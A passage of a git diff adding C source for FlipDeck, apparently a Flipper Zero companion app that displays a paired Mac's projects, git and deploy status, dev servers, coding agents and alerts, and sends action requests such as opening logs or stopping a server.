state->last_rx_tick > FD_STALE_AFTER_MS; +} + +uint32_t fd_state_silence_s(const FdState* state, uint32_t now) { + return (now - state->last_rx_tick) / 1000u; +} + +uint32_t fd_state_mac_now(const FdState* state, uint32_t now) { + if(state->mac_time == 0) return 0; + return state->mac_time + (now - state->mac_time_tick) / 1000u; +} + +size_t fd_state_actions_for(const FdState* state, const char* owner, const FdAction** out, size_t max) { + size_t count = 0; + for(size_t i = 0; i < state->committed.action_count && count < max; i++) { + if(strcmp(state->committed.actions[i].owner, owner) == 0) out[count++] = &state->committed.actions[i]; + } + return count; +} + +bool fd_state_request(FdState* state, const FdAction* action, uint32_t now, FdOutbox* out) { + if(state->link != FdLinkReady || state->request == FdRequestPending) return false; + state->request_id = state->next_req++; + state->request = FdRequestPending; + state->request_tick = now; + state->result[0] = '\0'; + char req[12]; + char gen[12]; + snprintf(req, sizeof(req), "%lu", (unsigned long)state->request_id); + snprintf(gen, sizeof(gen), "%lu", (unsigned long)state->committed_gen); + const char* fields[] = {req, action->id, gen}; + fd_outbox_frame(out, "REQ", fields, 3); + return true; +} + +void fd_state_seen(FdState* state, const char* id, FdOutbox* out) { + if(state->alert_visible && strcmp(state->alert.id, id) == 0) state->alert_visible = false; + if(state->link != FdLinkReady) return; + const char* fields[] = {id}; + fd_outbox_frame(out, "SEEN", fields, 1); +} + +void fd_state_request_sync(FdState* state, FdOutbox* out) { + if(state->link == FdLinkReady) fd_send_sync(state, out); +} + +const char* fd_action_label(const FdAction* action) { + if(action->label[0]) return action->label; + if(strcmp(action->kind, "OPEN") == 0) return "Open on Mac"; + if(strcmp(action->kind, "LOCAL") == 0) return "Open localhost"; + if(strcmp(action->kind, "LOGS") == 0) return "Open logs"; + if(strcmp(action->kind, "DEPLOY") == 0) return "Open deployment"; + if(strcmp(action->kind, "TERM") == 0) return "Open Terminal"; + if(strcmp(action->kind, "STOP") == 0) return "Stop server"; + return action->kind; +} + +void fd_format_duration(char* out, size_t cap, uint32_t seconds) { + if(seconds < 60) snprintf(out, cap, "%lus", (unsigned long)seconds); + else if(seconds < 3600) snprintf(out, cap, "%lum", (unsigned long)(seconds / 60)); + else if(seconds < 86400) snprintf(out, cap, "%luh %lum", (unsigned long)(seconds / 3600), (unsigned long)((seconds % 3600) / 60)); + else snprintf(out, cap, "%lud", (unsigned long)(seconds / 86400)); +} + +const FdProject* fd_state_project_named(const FdState* state, const char* name) { + if(!name || !name[0]) return NULL; + for(size_t i = 0; i < state->committed.project_count; i++) { + if(strcmp(state->committed.projects[i].name, name) == 0) return &state->committed.projects[i]; + } + return NULL; +} diff --git a/src/fd_state.h b/src/fd_state.h new file mode 100644 index 0000000..f6c2094 --- /dev/null +++ b/src/fd_state.h @@ -0,0 +1,240 @@ +/** + * @file fd_state.h + * @brief The Flipper's copy of Mac state, and the FDP/1 session rules that + * maintain it (staged snapshots, atomic commit, heartbeats, alerts, action + * requests). No SDK dependencies: time is passed in as a millisecond tick. + */ +#pragma once + +#include "fd_proto.h" + +// Limits shared with the Mac (FlipperLimits in Swift, docs/protocol.md). +#define FD_MAX_PROJECTS 12 +#define FD_MAX_SERVICES 8 +#define FD_MAX_AGENTS 6 +#define FD_MAX_ATTENTION 6 +#define FD_MAX_EVENTS 10 +#define FD_MAX_ACTIONS 64 +#define FD_SEEN_ALERTS 16 + +#define FD_ID_LEN (7 + 1) +#define FD_NAME_LEN (20 + 1) +#define FD_BRANCH_LEN (24 + 1) +#define FD_PROVIDER_LEN (12 + 1) +#define FD_TITLE_LEN (40 + 1) +#define FD_EVENT_TITLE_LEN (48 + 1) +#define FD_MESSAGE_LEN (80 + 1) +#define FD_LABEL_LEN (20 + 1) +#define FD_RESULT_LEN (60 + 1) +#define FD_KIND_LEN (7 + 1) + +#define FD_STALE_AFTER_MS 15000u +#define FD_ACTION_TIMEOUT_MS 10000u +#define FD_NO_VALUE 0xFFFFFFFFu + +typedef struct { + uint16_t attention; + uint16_t projects; + uint16_t services; + uint16_t agents; +} FdSummary; + +typedef struct { + char id[FD_ID_LEN]; + char name[FD_NAME_LEN]; + char branch[FD_BRANCH_LEN]; + char git; // c clean, d dirty, n not a repo, - unknown + char deploy; // - none, q queued, b building, r ready, e error, x canceled + bool attention; + uint16_t port; + uint32_t ahead; // FD_NO_VALUE if unknown + uint32_t behind; // FD_NO_VALUE if unknown +} FdProject; + +typedef struct { + char id[FD_ID_LEN]; + char name[FD_NAME_LEN]; + char project[FD_NAME_LEN]; + uint16_t port; + uint32_t started; // Mac unix time, FD_NO_VALUE if unknown +} FdService; + +typedef struct { + char id[FD_ID_LEN]; + char provider[FD_PROVIDER_LEN]; + char project[FD_NAME_LEN]; + char state; // r running, w waiting, x exited, c completed, f failed + uint32_t started; +} FdAgent; + +typedef struct { + char id[FD_ID_LEN]; + char severity; // i s w e a + char project[FD_NAME_LEN]; + char title[FD_TITLE_LEN]; +} FdAttention; + +typedef struct { + char id[FD_ID_LEN]; + char severity; + char time[6]; + char project[FD_NAME_LEN]; + char title[FD_EVENT_TITLE_LEN]; +} FdEvent; + +typedef struct { + char owner[FD_ID_LEN]; + char id[FD_ID_LEN]; + char kind[FD_KIND_LEN]; + char label[FD_LABEL_LEN]; + bool destructive; + bool confirm; +} FdAction; + +typedef struct { + FdSummary summary; + FdProject projects[FD_MAX_PROJECTS]; + FdService services[FD_MAX_SERVICES]; + FdAgent agents[FD_MAX_AGENTS]; + FdAttention attention[FD_MAX_ATTENTION]; + FdEvent events[FD_MAX_EVENTS]; + FdAction actions[FD_MAX_ACTIONS]; + uint8_t project_count; + uint8_t service_count; + uint8_t agent_count; + uint8_t attention_count; + uint8_t event_count; + uint8_t action_count; +} FdModel; + +typedef struct { + char host[FD_NAME_LEN]; + uint32_t cpu; // percent or FD_NO_VALUE + uint32_t mem; // percent or FD_NO_VALUE + uint32_t battery; // percent or FD_NO_VALUE + char charging; // '1', '0' or '-' + char network; // '1', '0' or '-' + uint32_t boot; // Mac unix time or FD_NO_VALUE +} FdMachine; + +typedef struct { + char id[FD_ID_LEN]; + char severity; + char project[FD_NAME_LEN]; + char title[FD_TITLE_LEN]; + char message[FD_MESSAGE_LEN]; +} FdAlert; + +typedef enum { + /** No transport link. */ + FdLinkOffline, + /** Transport up, waiting for HELLO. */ + FdLinkConnecting, + /** HELLO received and compatible. */ + FdLinkReady, + /** Mac speaks another protocol version. */ + FdLinkIncompatible, +} FdLink; + +typedef enum { + FdRequestIdle, + FdRequestPending, + FdRequestDone, +} FdRequestState; + +typedef struct { + FdModel committed; + FdModel staging; + bool has_data; + bool staging_active; + uint32_t staging_gen; + uint32_t staging_expected; + uint32_t staging_received; + uint32_t committed_gen; + + FdMachine machine; + bool has_machine; + + FdLink link; + uint32_t peer_proto; + char mac_host[FD_NAME_LEN]; + uint16_t mtu; + uint32_t mac_time; // Mac unix time from the last HELLO/PING + uint32_t mac_time_tick; // local tick when mac_time was received + uint32_t last_rx_tick; + bool ever_connected; + bool mac_quit; + + FdAlert alert; + bool alert_visible; + char seen_alerts[FD_SEEN_ALERTS][FD_ID_LEN]; + uint8_t seen_alert_next; + + char nonce[9]; + uint32_t next_req; + FdRequestState request; + uint32_t request_id; + uint32_t request_tick; + bool result_ok; + char result[FD_RESULT_LEN]; + + uint32_t frames_ok; + uint32_t frames_bad; +} FdState; + +/** Output buffer for frames the Flipper must send in response. */ +typedef struct { + char data[FD_FRAME_MAX * 2]; + size_t len; +} FdOutbox; + +/** What changed as a result of a frame (bitmask). */ +typedef enum { + FdChangeNone = 0, + FdChangeRedraw = 1 << 0, + FdChangeAlert = 1 << 1, // a new alert arrived: vibrate + FdChangeResult = 1 << 2, // an action result arrived + FdChangeCommitted = 1 << 3, +} FdChange; + +void fd_state_init(FdState* state, uint32_t nonce); + +/** Transport link came up / went down. */ +void fd_state_link_up(FdState* state, uint32_t now); +void fd_state_link_down(FdState* state); + +/** Feeds raw received bytes; replies are appended to `out`. Returns FdChange bits. */ +uint32_t fd_state_receive(FdState* state, FdLineReader* reader, const uint8_t* data, size_t len, uint32_t now, FdOutbox* out); + +/** Applies one decoded frame. Returns FdChange bits. */ +uint32_t fd_state_apply(FdState* state, const FdFrame* frame, uint32_t now, FdOutbox* out); + +/** Periodic housekeeping (request timeouts). Returns FdChange bits. */ +uint32_t fd_state_tick(FdState* state, uint32_t now); + +bool fd_state_is_stale(const FdState* state, uint32_t now); +/** Seconds since the last valid frame. */ +uint32_t fd_state_silence_s(const FdState* state, uint32_t now); +/** Best estimate of the Mac's current unix time, or 0 if unknown. */ +uint32_t fd_state_mac_now(const FdState* state, uint32_t now); + +/** Collects the committed actions owned by `owner`. Returns the count. */ +size_t fd_state_actions_for(const FdState* state, const char* owner, const FdAction** out, size_t max); + +/** Queues a REQ for `action`. Fails if a request is already pending or the link isn't ready. */ +bool fd_state_request(FdState* state, const FdAction* action, uint32_t now, FdOutbox* out); + +/** Dismisses the current alert (or an attention item) and queues SEEN. */ +void fd_state_seen(FdState* state, const char* id, FdOutbox* out); + +/** Asks the Mac for a fresh snapshot. */ +void fd_state_request_sync(FdState* state, FdOutbox* out); + +/** Built-in label for an action kind (FDP/1 `ACT.kind`). */ +const char* fd_action_label(const FdAction* action); + +/** Formats a duration like "38m", "2h 5m", "3d". */ +void fd_format_duration(char* out, size_t cap, uint32_t seconds); + +/** Finds a project by name (for linking services/agents), or NULL. */ +const FdProject* fd_state_project_named(const FdState* state, const char* name); diff --git a/src/fd_ui.c b/src/fd_ui.c new file mode 100644 index 0000000..e8041bf --- /dev/null +++ b/src/fd_ui.c @@ -0,0 +1,870 @@ +/** + * @file fd_ui.c + * @brief Screens (see fd_ui.h). 128x64: 11 px header, five 10 px rows. + */ +#include "fd_ui.h" + +#include +#include +#include +#include + +#define FD_UI_LIST_TOP 13 +#define FD_UI_ROW_H 10 +#define FD_UI_VISIBLE 5 +#define FD_UI_WRAP 23 +#define FD_UI_TOAST_MS 3000 + +// --------------------------------------------------------------------------- +// Row building + +static FdNav* fd_ui_nav(FdUi* ui) { + return &ui->stack[ui->depth - 1]; +} + +static FdRow* fd_ui_add(FdUi* ui, FdRowKind kind, const char* left, const char* right) { + if(ui->row_count >= FD_MAX_ROWS) return NULL; + FdRow* row = &ui->rows[ui->row_count++]; + memset(row, 0, sizeof(*row)); + row->kind = kind; + fd_copy(row->left, sizeof(row->left), left); + fd_copy(row->right, sizeof(row->right), right); + return row; +} + +static void fd_ui_info(FdUi* ui, const char* left, const char* right, FdMark mark) { + FdRow* row = fd_ui_add(ui, FdRowInfo, left, right); + if(row) row->mark = mark; +} + +static void fd_ui_link(FdUi* ui, const char* left, const char* right, FdScreen target, const char* id, FdMark mark) { + FdRow* row = fd_ui_add(ui, FdRowNav, left, right); + if(!row) return; + row->target = target; + row->mark = mark; + fd_copy(row->target_id, sizeof(row->target_id), id); +} + +static void fd_ui_actions(FdUi* ui, const FdState* state, const char* owner) { + const FdAction* actions[10]; + size_t count = fd_state_actions_for(state, owner, actions, 10); + for(size_t i = 0; i < count; i++) { + FdRow* row = fd_ui_add(ui, FdRowAction, fd_action_label(actions[i]), actions[i]->confirm ? "!" : ">"); + if(row) row->action = actions[i]; + } +} + +/** Splits text into info rows of about FD_UI_WRAP characters, at spaces. */ +static void fd_ui_wrapped(FdUi* ui, const char* text, uint8_t max_rows) { + char line[FD_UI_WRAP + 1]; + size_t length = strlen(text); + size_t start = 0; + for(uint8_t rows = 0; rows < max_rows && start < length; rows++) { + while(start < length && text[start] == ' ') start++; + size_t take = length - start; + if(take > FD_UI_WRAP) { + take = FD_UI_WRAP; + size_t space = take; + while(space > 0 && text[start + space] != ' ') space--; + if(space > FD_UI_WRAP / 2) take = space; + } + memcpy(line, text + start, take); + line[take] = '\0'; + fd_ui_info(ui, line, "", FdMarkNone); + start += take; + } +} + +static FdMark fd_ui_severity_mark(char severity) { + switch(severity) { + case 's': + return FdMarkOk; + case 'e': + return FdMarkFail; + case 'w': + case 'a': + return FdMarkBang; + default: + return FdMarkNone; + } +} + +static const char* fd_ui_deploy_word(char deploy) { + switch(deploy) { + case 'r': + return "Live"; + case 'e': + return "Failed"; + case 'b': + return "Building"; + case 'q': + return "Queued"; + case 'x': + return "Canceled"; + default: + return "-"; + } +} + +static FdMark fd_ui_deploy_mark(char deploy) { + switch(deploy) { + case 'r': + return FdMarkOk; + case 'e': + return FdMarkFail; + case 'b': + case 'q': + return FdMarkRing; + default: + return FdMarkNone; + } +} + +static void fd_ui_since(char* out, size_t cap, uint32_t started, const FdState* state, uint32_t now) { + uint32_t mac_now = fd_state_mac_now(state, now); + if(started == FD_NO_VALUE || mac_now == 0 || mac_now < started) { + fd_copy(out, cap, "-"); + return; + } + fd_format_duration(out, cap, mac_now - started); +} + +static void fd_ui_title(FdUi* ui, const char* title) { + fd_copy(ui->title, sizeof(ui->title), title); +} + +static void fd_ui_gone(FdUi* ui) { + fd_ui_info(ui, "No longer available.", "", FdMarkNone); + fd_ui_info(ui, "Press Back.", "", FdMarkNone); +} + +static void fd_ui_build_home(FdUi* ui, const FdState* state) { + const FdModel* model = &state->committed; + char left[FD_ROW_LEFT]; + char right[FD_ROW_RIGHT]; + fd_ui_title(ui, "FLIPDECK"); + + if(state->link == FdLinkIncompatible) { + fd_ui_info(ui, "Version mismatch", "", FdMarkBang); + snprintf(left, sizeof(left), "Mac FDP/%lu, this FDP/%d", (unsigned long)state->peer_proto, FD_PROTO_VERSION); + fd_ui_info(ui, left, "", FdMarkNone); + fd_ui_info(ui, "Update both apps.", "", FdMarkNone); + return; + } + if(!state->has_data) { + if(state->link == FdLinkOffline) { + fd_ui_info(ui, "Waiting for your Mac", "", FdMarkRing); + fd_ui_info(ui, "Open FlipDeck on the Mac.", "", FdMarkNone); + fd_ui_info(ui, "First time: enter the PIN", "", FdMarkNone); + fd_ui_info(ui, "shown here on the Mac.", "", FdMarkNone); + } else { + fd_ui_info(ui, "Connected. Syncing...", "", FdMarkDot); + } + return; + } + + if(model->summary.attention > 0) { + snprintf(left, sizeof(left), "! %u Attention", model->summary.attention); + fd_ui_link(ui, left, "", FdScreenAttention, "", FdMarkNone); + if(ui->row_count) ui->rows[ui->row_count - 1].emphasis = true; + } + bool live = state->link == FdLinkReady && !state->mac_quit; + fd_ui_link(ui, "Mac", "", FdScreenMac, "", live ? FdMarkDot : FdMarkRing); + snprintf(right, sizeof(right), "%u", model->summary.projects); + fd_ui_link(ui, "Projects", right, FdScreenProjects, "", FdMarkNone); + + uint8_t deploys = 0, failed = 0, building = 0; + for(uint8_t i = 0; i < model->project_count; i++) { + char deploy = model->projects[i].deploy; + if(deploy == '-') continue; + deploys++; + if(deploy == 'e') failed++; + if(deploy == 'b' || deploy == 'q') building++; + } + if(deploys > 0) { + if(failed) snprintf(right, sizeof(right), "%u failed", failed); + else if(building) snprintf(right, sizeof(right), "%u building", building); + else fd_copy(right, sizeof(right), "OK"); + fd_ui_link(ui, "Deploys", right, FdScreenDeploys, "", failed ? FdMarkFail : FdMarkNone); + } + snprintf(right, sizeof(right), "%u", model->summary.agents); + fd_ui_link(ui, "Agents", right, FdScreenAgents, "", model->summary.agents ? FdMarkDot : FdMarkNone); + snprintf(right, sizeof(right), "%u", model->summary.services); + fd_ui_link(ui, "Services", right, FdScreenServices, "", model->summary.services ? FdMarkDot : FdMarkNone); + fd_ui_link(ui, "Activity", "", FdScreenActivity, "", FdMarkNone); +} + +static void fd_ui_build_mac(FdUi* ui, const FdState* state, uint32_t now) { + const FdMachine* machine = &state->machine; + char value[FD_ROW_RIGHT]; + fd_ui_title(ui, state->has_machine ? machine->host : (state->mac_host[0] ? state->mac_host : "MAC")); + + switch(state->link) { + case FdLinkReady: + if(state->mac_quit) fd_ui_info(ui, "Link", "App closed", FdMarkRing); + else if(fd_state_is_stale(state, now)) { + snprintf(value, sizeof(value), "Stale %lus", (unsigned long)fd_state_silence_s(state, now)); + fd_ui_info(ui, "Link", value, FdMarkBang); + } else fd_ui_info(ui, "Link", "Connected", FdMarkDot); + break; + case FdLinkConnecting: + fd_ui_info(ui, "Link", "Connecting", FdMarkRing); + break; + case FdLinkIncompatible: + fd_ui_info(ui, "Link", "Incompatible", FdMarkBang); + break; + case FdLinkOffline: + fd_ui_info(ui, "Link", "Offline", FdMarkRing); + break; + } + if(!state->has_machine) { + fd_ui_info(ui, "No machine data yet.", "", FdMarkNone); + } else { + if(machine->cpu != FD_NO_VALUE) snprintf(value, sizeof(value), "%lu%%", (unsigned long)machine->cpu); + else fd_copy(value, sizeof(value), "-"); + fd_ui_info(ui, "CPU", value, FdMarkNone); + if(machine->mem != FD_NO_VALUE) snprintf(value, sizeof(value), "%lu%%", (unsigned long)machine->mem); + else fd_copy(value, sizeof(value), "-"); + fd_ui_info(ui, "Memory", value, FdMarkNone); + if(machine->battery != FD_NO_VALUE) { + snprintf(value, sizeof(value), "%lu%%%s", (unsigned long)machine->battery, machine->charging == '1' ? " chg" : ""); + fd_ui_info(ui, "Battery", value, FdMarkNone); + } + fd_ui_info(ui, "Network", machine->network == '1' ? "Online" : (machine->network == '0' ? "Offline" : "-"), FdMarkNone); + fd_ui_since(value, sizeof(value), machine->boot, state, now); + fd_ui_info(ui, "Uptime", value, FdMarkNone); + } + fd_ui_add(ui, FdRowResync, "Resync now", ">"); +} + +static const FdProject* fd_ui_find_project(const FdState* state, const char* id) { + for(uint8_t i = 0; i < state->committed.project_count; i++) { + if(strcmp(state->committed.projects[i].id, id) == 0) return &state->committed.projects[i]; + } + return NULL; +} + +static void fd_ui_build_projects(FdUi* ui, const FdState* state) { + fd_ui_title(ui, "PROJECTS"); + if(state->committed.project_count == 0) { + fd_ui_info(ui, "No projects yet.", "", FdMarkNone); + fd_ui_info(ui, "Add folders on the Mac.", "", FdMarkNone); + return; + } + for(uint8_t i = 0; i < state->committed.project_count; i++) { + const FdProject* p = &state->committed.projects[i]; + const char* flag = p->attention ? "!" : (p->git == 'd' ? "*" : ""); + fd_ui_link(ui, p->name, flag, FdScreenProject, p->id, p->port ? FdMarkDot : FdMarkRing); + } +} + +static void fd_ui_build_project(FdUi* ui, const FdState* state, const char* id) { + const FdProject* p = fd_ui_find_project(state, id); + if(!p) { + fd_ui_title(ui, "PROJECT"); + fd_ui_gone(ui); + return; + } + char value[FD_ROW_RIGHT]; + fd_ui_title(ui, p->name); + + value[0] = '\0'; + if(p->ahead != FD_NO_VALUE && p->behind != FD_NO_VALUE && (p->ahead || p->behind)) { + unsigned ahead = p->ahead > 999 ? 999u : (unsigned)p->ahead; + unsigned behind = p->behind > 999 ? 999u : (unsigned)p->behind; + snprintf(value, sizeof(value), "+%u -%u", ahead, behind); + } + if(p->git != 'n') fd_ui_info(ui, p->branch[0] ? p->branch : "(detached)", value, FdMarkNone); + + switch(p->git) { + case 'c': + fd_ui_info(ui, "Git", "Clean", FdMarkOk); + break; + case 'd': + fd_ui_info(ui, "Git", "Changes", FdMarkBang); + break; + case 'n': + fd_ui_info(ui, "Git", "No repo", FdMarkNone); + break; + default: + fd_ui_info(ui, "Git", "?", FdMarkNone); + break; + } + if(p->port) { + snprintf(value, sizeof(value), ":%u", p->port); + fd_ui_info(ui, "Dev", value, FdMarkDot); + } else { + fd_ui_info(ui, "Dev", "-", FdMarkNone); + } + if(p->deploy != '-') fd_ui_info(ui, "Deploy", fd_ui_deploy_word(p->deploy), fd_ui_deploy_mark(p->deploy)); + fd_ui_actions(ui, state, p->id); +} + +static void fd_ui_build_deploys(FdUi* ui, const FdState* state) { + fd_ui_title(ui, "DEPLOYS"); + for(uint8_t i = 0; i < state->committed.project_count; i++) { + const FdProject* p = &state->committed.projects[i]; + if(p->deploy == '-') continue; + fd_ui_link(ui, p->name, fd_ui_deploy_word(p->deploy), FdScreenProject, p->id, fd_ui_deploy_mark(p->deploy)); + } + if(ui->row_count == 0) fd_ui_info(ui, "No linked deployments.", "", FdMarkNone); +} + +static void fd_ui_build_services(FdUi* ui, const FdState* state, uint32_t now) { + fd_ui_title(ui, "SERVICES"); + if(state->committed.service_count == 0) { + fd_ui_info(ui, "No dev servers running.", "", FdMarkNone); + return; + } + char left[FD_ROW_LEFT]; + char right[FD_ROW_RIGHT]; + for(uint8_t i = 0; i < state->committed.service_count; i++) { + const FdService* s = &state->committed.services[i]; + snprintf(left, sizeof(left), "%s :%u", s->name, s->port); + fd_ui_since(right, sizeof(right), s->started, state, now); + fd_ui_link(ui, left, right, FdScreenService, s->id, FdMarkDot); + } +} + +static void fd_ui_build_service(FdUi* ui, const FdState* state, const char* id, uint32_t now) { + const FdService* s = NULL; + for(uint8_t i = 0; i < state->committed.service_count; i++) { + if(strcmp(state->committed.services[i].id, id) == 0) s = &state->committed.services[i]; + } + if(!s) { + fd_ui_title(ui, "SERVICE"); + fd_ui_gone(ui); + return; + } + char value[FD_ROW_RIGHT]; + fd_ui_title(ui, s->name); + snprintf(value, sizeof(value), "localhost:%u", s->port); + fd_ui_info(ui, value, "", FdMarkDot); + if(s->project[0]) fd_ui_info(ui, "Project", s->project, FdMarkNone); + fd_ui_since(value, sizeof(value), s->started, state, now); + fd_ui_info(ui, "Running", value, FdMarkNone); + fd_ui_actions(ui, state, s->id); +} + +static const char* fd_ui_agent_state(char state) { + switch(state) { + case 'r': + return "Running"; + case 'w': + return "Waiting"; + case 'c': + return "Completed"; + case 'f': + return "Failed"; + default: + return "Finished"; + } +} + +static void fd_ui_build_agents(FdUi* ui, const FdState* state, uint32_t now) { + fd_ui_title(ui, "AGENTS"); + if(state->committed.agent_count == 0) { + fd_ui_info(ui, "No agents running.", "", FdMarkNone); + return; + } + char right[FD_ROW_RIGHT]; + for(uint8_t i = 0; i < state->committed.agent_count; i++) { + const FdAgent* a = &state->committed.agents[i]; + fd_ui_since(right, sizeof(right), a->started, state, now); + fd_ui_link(ui, a->project[0] ? a->project : a->provider, right, FdScreenAgent, a->id, a->state == 'r' ? FdMarkDot : FdMarkRing); + } +} + +static void fd_ui_build_agent(FdUi* ui, const FdState* state, const char* id, uint32_t now) { + const FdAgent* a = NULL; + for(uint8_t i = 0; i < state->committed.agent_count; i++) { + if(strcmp(state->committed.agents[i].id, id) == 0) a = &state->committed.agents[i]; + } + if(!a) { + fd_ui_title(ui, "AGENT"); + fd_ui_gone(ui); + return; + } + char value[FD_ROW_RIGHT]; + fd_ui_title(ui, a->provider); + if(a->project[0]) fd_ui_info(ui, "Project", a->project, FdMarkNone); + fd_ui_info(ui, "State", fd_ui_agent_state(a->state), a->state == 'r' ? FdMarkDot : FdMarkRing); + fd_ui_since(value, sizeof(value), a->started, state, now); + fd_ui_info(ui, "Elapsed", value, FdMarkNone); + fd_ui_actions(ui, state, a->id); +} + +static void fd_ui_build_activity(FdUi* ui, const FdState* state) { + fd_ui_title(ui, "ACTIVITY"); + if(state->committed.event_count == 0) { + fd_ui_info(ui, "Nothing yet.", "", FdMarkNone); + return; + } + char left[FD_ROW_LEFT]; + for(uint8_t i = 0; i < state->committed.event_count; i++) { + const FdEvent* e = &state->committed.events[i]; + // "HH:MM title", truncated to fit the row. + size_t time_len = strlen(e->time); + memcpy(left, e->time, time_len); + left[time_len] = ' '; + fd_copy(left + time_len + 1, sizeof(left) - time_len - 1, e->title); + fd_ui_link(ui, left, "", FdScreenEvent, e->id, fd_ui_severity_mark(e->severity)); + } +} + +static void fd_ui_build_event(FdUi* ui, const FdState* state, const char* id) { + const FdEvent* e = NULL; + for(uint8_t i = 0; i < state->committed.event_count; i++) { + if(strcmp(state->committed.events[i].id, id) == 0) e = &state->committed.events[i]; + } + if(!e) { + fd_ui_title(ui, "EVENT"); + fd_ui_gone(ui); + return; + } + fd_ui_title(ui, e->project[0] ? e->project : "EVENT"); + fd_ui_info(ui, e->time, "", fd_ui_severity_mark(e->severity)); + fd_ui_wrapped(ui, e->title, 3); + fd_ui_actions(ui, state, e->id); +} + +static void fd_ui_build_attention(FdUi* ui, const FdState* state) { + fd_ui_title(ui, "ATTENTION"); + if(state->committed.attention_count == 0) { + fd_ui_info(ui, "All clear.", "", FdMarkOk); + return; + } + for(uint8_t i = 0; i < state->committed.attention_count; i++) { + const FdAttention* t = &state->committed.attention[i]; + fd_ui_link(ui, t->title, "", FdScreenAttentionItem, t->id, fd_ui_severity_mark(t->severity)); + } +} + +static void fd_ui_build_attention_item(FdUi* ui, const FdState* state, const char* id) { + const FdAttention* t = NULL; + for(uint8_t i = 0; i < state->committed.attention_count; i++) { + if(strcmp(state->committed.attention[i].id, id) == 0) t = &state->committed.attention[i]; + } + if(!t) { + fd_ui_title(ui, "ATTENTION"); + fd_ui_gone(ui); + return; + } + fd_ui_title(ui, t->project[0] ? t->project : "ATTENTION"); + fd_ui_wrapped(ui, t->title, 2); + fd_ui_actions(ui, state, t->id); + FdRow* dismiss = fd_ui_add(ui, FdRowDismiss, "Dismiss", ""); + if(dismiss) fd_copy(dismiss->target_id, sizeof(dismiss->target_id), t->id); +} + +static void fd_ui_build_alert(FdUi* ui, const FdState* state) { + const FdAlert* alert = &state->alert; + char title[FD_ROW_LEFT]; + size_t i = 0; + for(; alert->title[i] && i + 1 < sizeof(title); i++) { + char c = alert->title[i]; + title[i] = (c >= 'a' && c <= 'z') ? (char)(c - 'a' + 'A') : c; + } + title[i] = '\0'; + fd_ui_title(ui, title); + if(alert->project[0]) fd_ui_info(ui, alert->project, "", fd_ui_severity_mark(alert->severity)); + if(alert->message[0]) fd_ui_wrapped(ui, alert->message, 3); + fd_ui_actions(ui, state, alert->id); + FdRow* dismiss = fd_ui_add(ui, FdRowDismiss, "Dismiss", ""); + if(dismiss) fd_copy(dismiss->target_id, sizeof(dismiss->target_id), alert->id); +} + +static void fd_ui_build(FdUi* ui, const FdState* state, uint32_t now) { + ui->row_count = 0; + ui->title[0] = '\0'; + if(state->alert_visible) { + fd_ui_build_alert(ui, state); + return; + } + FdNav* nav = fd_ui_nav(ui); + switch(nav->screen) { + case FdScreenHome: + fd_ui_build_home(ui, state); + break; + case FdScreenMac: + fd_ui_build_mac(ui, state, now); + break; + case FdScreenProjects: + fd_ui_build_projects(ui, state); + break; + case FdScreenProject: + fd_ui_build_project(ui, state, nav->id); + break; + case FdScreenDeploys: + fd_ui_build_deploys(ui, state); + break; + case FdScreenServices: + fd_ui_build_services(ui, state, now); + break; + case FdScreenService: + fd_ui_build_service(ui, state, nav->id, now); + break; + case FdScreenAgents: + fd_ui_build_agents(ui, state, now); + break; + case FdScreenAgent: + fd_ui_build_agent(ui, state, nav->id, now); + break; + case FdScreenActivity: + fd_ui_build_activity(ui, state); + break; + case FdScreenEvent: + fd_ui_build_event(ui, state, nav->id); + break; + case FdScreenAttention: + fd_ui_build_attention(ui, state); + break; + case FdScreenAttentionItem: + fd_ui_build_attention_item(ui, state, nav->id); + break; + } +} + +// --------------------------------------------------------------------------- +// Selection + +static bool fd_ui_selectable(const FdRow* row) { + return row->kind != FdRowInfo; +} + +static int fd_ui_first_selectable(const FdUi* ui) { + for(uint8_t i = 0; i < ui->row_count; i++) { + if(fd_ui_selectable(&ui->rows[i])) return i; + } + return -1; +} + +static void fd_ui_cursor(FdUi* ui, const FdState* state, uint8_t** selected, uint8_t** scroll) { + if(state->alert_visible) { + *selected = &ui->alert_selected; + *scroll = &ui->alert_scroll; + } else { + *selected = &fd_ui_nav(ui)->selected; + *scroll = &fd_ui_nav(ui)->scroll; + } +} + +/** Keeps the selection on a selectable row and visible after state changes. */ +static void fd_ui_clamp(FdUi* ui, uint8_t* selected, uint8_t* scroll) { + int first = fd_ui_first_selectable(ui); + if(first < 0) { + *selected = 0; + uint8_t max_scroll = ui->row_count > FD_UI_VISIBLE ? (uint8_t)(ui->row_count - FD_UI_VISIBLE) : 0; + if(*scroll > max_scroll) *scroll = max_scroll; + return; + } + if(*selected >= ui->row_count || !fd_ui_selectable(&ui->rows[*selected])) *selected = (uint8_t)first; + if(*selected == first && first < FD_UI_VISIBLE) *scroll = 0; // show the info above + if(*selected < *scroll) *scroll = *selected; + if(*selected >= *scroll + FD_UI_VISIBLE) *scroll = (uint8_t)(*selected - FD_UI_VISIBLE + 1); +} + +static void fd_ui_move(FdUi* ui, uint8_t* selected, uint8_t* scroll, int direction) { + if(fd_ui_first_selectable(ui) < 0) { + // Nothing to select: scroll the text instead. + if(direction < 0 && *scroll > 0) (*scroll)--; + if(direction > 0 && *scroll + FD_UI_VISIBLE < ui->row_count) (*scroll)++; + return; + } + int index = *selected; + for(;;) { + index += direction; + if(index < 0) { + // Wrap to the last selectable row. + index = ui->row_count - 1; + while(index > 0 && !fd_ui_selectable(&ui->rows[index])) index--; + break; + } + if(index >= ui->row_count) { + index = fd_ui_first_selectable(ui); + break; + } + if(fd_ui_selectable(&ui->rows[index])) break; + } + *selected = (uint8_t)index; + fd_ui_clamp(ui, selected, scroll); +} + +// --------------------------------------------------------------------------- +// Input + +void fd_ui_init(FdUi* ui) { + memset(ui, 0, sizeof(*ui)); + ui->depth = 1; + ui->stack[0].screen = FdScreenHome; +} + +static void fd_ui_toast(FdUi* ui, const char* text, bool ok, uint32_t now) { + fd_copy(ui->toast, sizeof(ui->toast), text); + ui->toast_ok = ok; + ui->toast_until = now + FD_UI_TOAST_MS; +} + +static void fd_ui_send(FdUi* ui, FdState* state, const FdAction* action, uint32_t now, FdOutbox* out) { + if(state->link != FdLinkReady || state->mac_quit) { + fd_ui_toast(ui, "Mac not connected", false, now); + return; + } + if(!fd_state_request(state, action, now, out)) { + fd_ui_toast(ui, "Busy, try again", false, now); + return; + } + ui->awaiting_result = true; + ui->toast_until = 0; +} + +static void fd_ui_activate(FdUi* ui, FdState* state, const FdRow* row, uint32_t now, FdOutbox* out) { + switch(row->kind) { + case FdRowNav: + if(ui->depth < FD_NAV_DEPTH) { + FdNav* next = 